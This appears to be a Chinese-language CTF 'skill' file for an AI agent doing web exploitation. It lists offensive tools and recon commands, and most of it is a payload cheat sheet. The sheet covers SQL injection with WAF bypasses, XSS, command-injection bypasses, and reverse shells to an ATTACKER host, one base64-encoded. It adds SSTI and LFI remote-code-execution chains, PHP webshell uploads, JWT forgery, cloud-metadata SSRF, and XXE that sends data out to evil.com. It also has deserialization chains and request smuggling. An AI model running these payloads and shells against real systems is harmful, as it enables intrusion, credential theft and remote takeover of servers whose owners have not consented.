yhy0 Web Security CTF Skill
容器可用工具
| 工具 | 命令 | 用途 |
|---|---|---|
| nmap | nmap -sV -sC -p- target |
端口扫描、服务识别 |
| ffuf | ffuf -u URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt |
目录/参数 Fuzz |
| sqlmap | sqlmap -u "URL?id=1" --batch --tamper=space2comment |
SQL 注入自动化 |
| whatweb | whatweb URL |
技术栈识别 |
| nuclei | nuclei -u URL -t cves/ |
模板化漏洞扫描 |
| httpx | httpx -u URL -title -status-code -tech-detect |
Web 探测 |
| katana | katana -u URL -d 3 |
爬虫/URL 发现 |
| subfinder | subfinder -d domain.com |
子域名枚举 |
| arjun | arjun -u URL |
隐藏参数发现 |
| wpscan | wpscan --url URL |
WordPress 扫描 |
| commix | commix -u "URL?cmd=test" |
命令注入自动化 |
| hydra | hydra -l admin -P wordlist target http-post-form "..." |
在线暴力破解 |
| sslscan | sslscan target |
SSL/TLS 检测 |
| tplmap | tplmap -u "URL?name=test" |
SSTI 自动检测 |
| xsstrike | xsstrike -u "URL?q=test" |
XSS 检测 |
| clairvoyance | clairvoyance -u URL/graphql |
GraphQL Schema 侦察 |
| jwt-tool | jwt-tool TOKEN |
JWT 攻击 |
| gopherus | gopherus --exploit mysql |
SSRF gopher 协议利用 |
| phpggc | phpggc Laravel/RCE1 system id |
PHP 反序列化链生成 |
| ysoserial | ysoserial CommonsCollections1 'cmd' |
Java 反序列化链生成 |
词表: /usr/share/seclists/
首触侦察 (任何目标先跑这5步)
curl -sI "$URL" | head -30 # 响应头 → Server/X-Powered-By/Set-Cookie
whatweb "$URL" 2>/dev/null # 技术栈指纹
ffuf -u "${URL}/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403 2>/dev/null
curl -s "$URL/robots.txt"; curl -s "$URL/.git/HEAD"; curl -s "$URL/www.zip" -o /dev/null -w "%{http_code}"
arjun -u "$URL" --stable 2>/dev/null # 隐藏参数发现
漏洞调度表
| 类型 | 识别特征 | Module |
|---|---|---|
| SQL 注入 | 参数回显异常、' 报错、搜索框 |
modules/sqli.md |
| XSS | 输入回显到页面、评论/昵称 | modules/xss.md |
| 命令执行 | ping 功能、参数拼接到命令 | modules/rce.md |
| 文件包含 | page=/file=/include= |
modules/lfi.md |
| 文件上传 | 头像/附件上传入口 | modules/upload.md |
| SSRF | URL 参数、图片加载、PDF 生成 | modules/ssrf.md |
| SSTI | {{7*7}}→49、模板语法回显 |
modules/ssti.md |
| XXE | XML 输入、SOAP、text/xml | modules/xxe.md |
| 反序列化 | base64 blob、serialize 参数 | modules/deserialize.md |
| PHP 特性 | 弱类型==、伪协议 |
modules/php.md |
| JWT | Bearer / eyJ 开头 cookie |
modules/jwt.md |
| Java | Spring/Struts/Shiro/SpEL | modules/java.md |
| 区块链 | Solidity、合约地址 | modules/blockchain.md |
| 组件漏洞 | 已知版本号、中间件指纹 | modules/cve.md |
| IDOR | 数字ID/UUID 在 URL/API 中 | modules/idor.md |
| 认证绕过 | 登录/OTP/2FA、session | modules/auth-bypass.md |
| 访问控制 | 角色权限、越权 | modules/access-control.md |
| 业务逻辑/竞态 | 购买/优惠券/余额/并发 | modules/business-logic.md |
| CSRF/HRS | 表单提交、HTTP 走私 | modules/request-forgery.md |
| 信息搜集 | 未知目标全面侦察 | modules/recon.md |
Payload Cheatsheets
1. SQL 注入
-- 联合注入
' ORDER BY 10-- -
' UNION SELECT NULL,NULL,NULL-- -
0' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
-- 报错注入 (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- 时间盲注 (多数据库)
' AND IF(1=1,SLEEP(3),0)-- - -- MySQL
';WAITFOR DELAY '0:0:3'-- -- MSSQL
' AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END)-- -- PostgreSQL
-- 堆叠注入
';SET @a=0x73656C65637420404076657273696F6E;PREPARE s FROM @a;EXECUTE s;--
';HANDLER `tablename` OPEN;HANDLER `tablename` READ FIRST;--
WAF 绕过速查:
空格: /**/ %09 %0a %0d %a0 /*!*/
关键字: ununionion selselectect | UnIoN SeLeCt | /*!50000UNION*//*!50000SELECT*/
引号: 0x486578 (hex) | CHAR(97,100,109,105,110)
逗号: UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
等号: LIKE | REGEXP | BETWEEN...AND | IN()
OR/AND: || && | %26%26 | %7C%7C
双重编码: %2527 → %27 → ' | %25%36%31 → %61 → a
Unicode: %u0027 (IIS) | ＇(fullwidth U+FF07)
HPP: id=1&id=UNION&id=SELECT (参数污染拼接)
JSON: {"id":"1 UNION SELECT 1,2,3"} (WAF 可能不查 JSON body)
Chunk TE: Transfer-Encoding: chunked 分块发送绕过 body 检测
sqlmap tamper:
sqlmap -u "URL" --batch --tamper=space2comment,between,randomcase
sqlmap -u "URL" --batch --tamper=charencode,chardoubleencode # 双重编码
sqlmap -u "URL" --batch --random-agent --delay=1 --technique=T # 慢速盲注
sqlmap -r request.txt --batch --level=5 --risk=3 # burp 请求
sqlmap -u "URL" --batch --os-shell # 直接 shell
2. XSS
<!-- 标签绕过 -->
<svg/onload=alert(1)>
<img src=x
<details open
<body
<marquee
<video><source
<!-- 属性上下文逃逸 -->
" autofocus x="
javascript:alert(1)//
<!-- JS 上下文逃逸 -->
</script><script>alert(1)</script>
'-alert(1)-'
'-alert(1)//
<!-- 编码绕过 -->
<img src=x
<svg
<script>eval(atob('YWxlcnQoMSk='))</script>
<img src=x
<!-- 无括号 -->
<img src=x
<img src=x
<img src=x
<!-- CSP 绕过 -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
<base href="//evil.com/"> <!-- 劫持相对路径 -->
DOM XSS sink: innerHTML, document.write(), eval(), setTimeout(str), location.href=, jQuery.html()
3. 命令执行绕过
# 空格绕过
cat${IFS}/etc/passwd | {cat,/etc/passwd} | cat</etc/passwd
cat$IFS$9/etc/passwd | X=$'\x20';cat${X}/etc/passwd
# 关键字绕过
ca\t /etc/passwd | c'a't /etc/passwd | c"a"t /etc/passwd
/???/c?t /???/p?ss?? | $(printf '\x63\x61\x74') /etc/passwd
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh
# 分隔符: ; | || & && %0a %0d `cmd` $(cmd)
# 反弹 shell
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
4. SSTI (按引擎)
检测决策树:
${7*7}=49 → ${class.getResource("")} 有输出→Freemarker, 否→Velocity
{{7*7}}=49 → {{7*'7'}}='7777777'→Jinja2, 否→Twig
#{7*7}=49 → ERB/EL | <%= 7*7 %>=49 → ERB/EJS
Jinja2 (Python/Flask):
# RCE 入口
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
{{request.__class__._load_form_data.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# 过滤 . → [] 或 |attr()
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
{{''|attr('__class__')|attr('__mro__')|last|attr('__subclasses__')()}}
# 过滤 _ → request 或 hex
{{''[request.args.a]}} &a=__class__
{{''|attr('\x5f\x5fclass\x5f\x5f')}}
# 过滤 [] → |attr() + |list + .pop()
{{(''|attr('__class__')|attr('__mro__')|list).pop(1)}}
# 过滤引号 → chr()
{% set chr=''.__class__.__mro__[-1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{chr(111)~chr(115)}}
# 过滤 {{}} → {% %} + print
{% print(config) %}
# 沙箱逃逸 (找 warning 类)
{% for x in ''.__class__.__mro__[1].__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{% endif %}{% endfor %}
Twig (PHP):
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} // Twig 1.x
{{['id']|filter('system')}} // Twig 3.x
{{['id']|map('system')}} // Twig 3.x 备选
{{'/etc/passwd'|file_excerpt(0,100)}} // 文件读取
Freemarker (Java):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
[#assign ex="freemarker.template.utility.Execute"?new()]${ex("id")} // 方括号语法
Velocity (Java):
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end
Smarty (PHP): {system('id')} | {if system('id')}{/if}
5. 文件包含 (LFI)
=== PHP 伪协议 ===
php://filter/read=convert.base64-encode/resource=index.php # 读源码
php://filter/convert.iconv.UTF-8.UTF-7/resource=index.php # 绕过关键字
php://input # POST body 执行
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ # <?php system($_GET['c']);?>
phar://uploads/evil.jpg/shell.php # phar 解析
=== 日志/Session ===
/var/log/apache2/access.log /var/log/nginx/access.log # UA 注入代码后包含
/tmp/sess_SESSIONID /var/lib/php/sessions/sess_xxx # session 注入
=== /proc ===
/proc/self/cmdline /proc/self/environ /proc/self/fd/N /proc/self/maps
=== 遍历绕过 ===
../../../etc/passwd ..%2f..%2f..%2fetc/passwd # URL 编码
..%252f..%252f..%252fetc/passwd # 双重编码
....//....//....//etc/passwd # 双写绕过
PHP filter chain RCE: php_filter_chain_generator.py -c '<?php system($_GET["c"]);?>' → 无文件写入 RCE
6. JWT
import jwt
# None 算法
token = jwt.encode({"user":"admin","role":"admin"}, key="", algorithm="none")
# RS256→HS256 混淆
pub = open("public.pem","rb").read()
token = jwt.encode({"user":"admin"}, pub, algorithm="HS256")
# kid 注入: {"kid":"../../dev/null"} → 空密钥 | {"kid":"key' UNION SELECT 'secret'-- -"} → SQLi
# jku 注入: {"jku":"https://evil.com/jwks.json"} → 用你的 RSA 密钥
jwt-tool TOKEN -X a # alg:none
jwt-tool TOKEN -X k -pk public.pem # key confusion
jwt-tool TOKEN -C -d rockyou.txt # 密钥爆破
jwt-tool TOKEN -I -pc user -pv admin # 修改 claim
7. SSRF
IP 绕过 (127.0.0.1/localhost):
2130706433 | 0x7f000001 | 0177.0.0.1 | 127.1 | 0.0.0.0 | [::1] | [::]
127.0.0.1.nip.io (DNS rebinding) | 0x7f.0x0.0x0.0x1
云元数据:
AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP: http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google)
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Metadata: true)
阿里云: http://100.100.100.200/latest/meta-data/
URL 解析差异: http://evil.com@127.0.0.1/ | http://127.0.0.1#@evil.com | http://0/
协议: file:///etc/passwd | dict://127.0.0.1:6379/info | gopher://
gopher 内网:
gopherus --exploit mysql/redis/fastcgi
8. PHP 反序列化
// 魔术方法: __destruct → __toString → __call → __get → __invoke
// 绕过 __wakeup (CVE-2016-7124): O:4:"Test":2:{...} → O:4:"Test":3:{...}
phar:// 触发 (无需 unserialize):
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($evil_obj); // POP chain 对象
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
// 触发: file_exists/is_dir/fopen/file_get_contents("phar://uploads/evil.gif/test.txt")
phpggc:
phpggc -l # 列出可用链
phpggc Laravel/RCE1 system 'id' # Laravel
phpggc Monolog/RCE1 system 'id' # Monolog
phpggc Symfony/RCE4 system 'id' # Symfony
phpggc ThinkPHP/RCE1 system 'id' # ThinkPHP
phpggc -b -f # -b base64, -f fast-destruct
9. 竞态条件
import requests, threading
url = "http://target.com/api/transfer"
s = requests.Session()
s.post("http://target.com/login", data={"user":"test","pass":"test"})
def race():
r = s.post(url, data={"to":"attacker","amount":"1000"})
print(r.status_code, r.text[:80])
threads = [threading.Thread(target=race) for _ in range(50)]
for t in threads: t.start()
for t in threads: t.join()
文件上传竞态 — 同时上传+访问:
def upload():
requests.post("http://target.com/upload", files={'file':('shell.php','<?php system($_GET["c"]);?>','image/png')})
def access():
r = requests.get("http://target.com/uploads/shell.php?c=id")
if "uid=" in r.text: print("[+]", r.text)
for _ in range(100):
threading.Thread(target=upload).start()
threading.Thread(target=access).start()
10. HTTP 请求走私
CL.TE (前端 Content-Length, 后端 Transfer-Encoding):
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
GPOST / HTTP/1.1
Host: target.com
TE.CL (前端 Transfer-Encoding, 后端 Content-Length):
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
GPOST /
0
TE 混淆: Transfer-Encoding : chunked (空格) | Transfer-Encoding: xchunked | Transfer-Encoding: chunKed (大小写) | X: x\nTransfer-Encoding: chunked (header injection)
11. GraphQL
# Introspection (获取 schema)
{__schema{types{name,fields{name,args{name,type{name}}}}}}
# 批量枚举
{ a:user(id:1){password} b:user(id:2){password} c:user(id:3){password} }
# Mutation 提权
mutation { updateUser(id:1, role:"admin") { id role } }
# SQLi via GraphQL
{ user(name:"' OR 1=1--") { id password } }
Introspection 禁用时: clairvoyance -u URL/graphql -w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt
12. XXE
<!-- 文件读取 -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- OOB 外带 (无回显) -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
%dtd;
]>
<!-- evil.dtd: <!ENTITY % exfil SYSTEM "http://evil.com/?d=%file;"> %exfil; -->
<!-- SSRF via XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
<!-- SVG XXE (图片上传) -->
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
13. 文件上传绕过
后缀: .phtml .php3 .php5 .pht .phar .php7 .pHp | .jspx .jspf | .aspx .cer .asa
双写: .pphphp | 截断: .php%00.jpg (PHP<5.3.4)
.htaccess: AddType application/x-httpd-php .xxx
.user.ini: auto_prepend_file=shell.jpg
MIME: Content-Type: image/png
文件头: GIF89a<?php system($_GET['c']);?>
解析漏洞:
Apache: test.php.xxx (未知后缀向前) | Nginx: /test.jpg/x.php (fix_pathinfo)
IIS 6: test.asp;.jpg | IIS 7: test.jpg/x.php
14. WAF 通用绕过
=== 编码 ===
URL: %27→' %3C→< | 双重: %2527→%27→' | Unicode: %u0027 %uff07 | HTML: ' '
=== 传输 ===
Chunked TE: 分块发送绕过 body 检测 | HTTP/2: h2 降级差异
HPP: id=1/*&id=*/UNION+SELECT | JSON body: WAF 可能不检查
Multipart boundary 混淆
=== 逻辑 ===
大小写: SeLeCt | 注释: SEL/**/ECT /*!50000SELECT*/ | 空白: %09 %0a %0b %0c %0d %a0
拼接: CONC/**/AT() | 'ad'+'min' | 换行: %0a | 溢出: padding 4000+ 字符使 WAF 放弃
Modules 调用规则
modules/ 包含各漏洞的详细攻击手册。本文件 payload 不够用时读取对应 module 获取完整流程和特殊场景处理。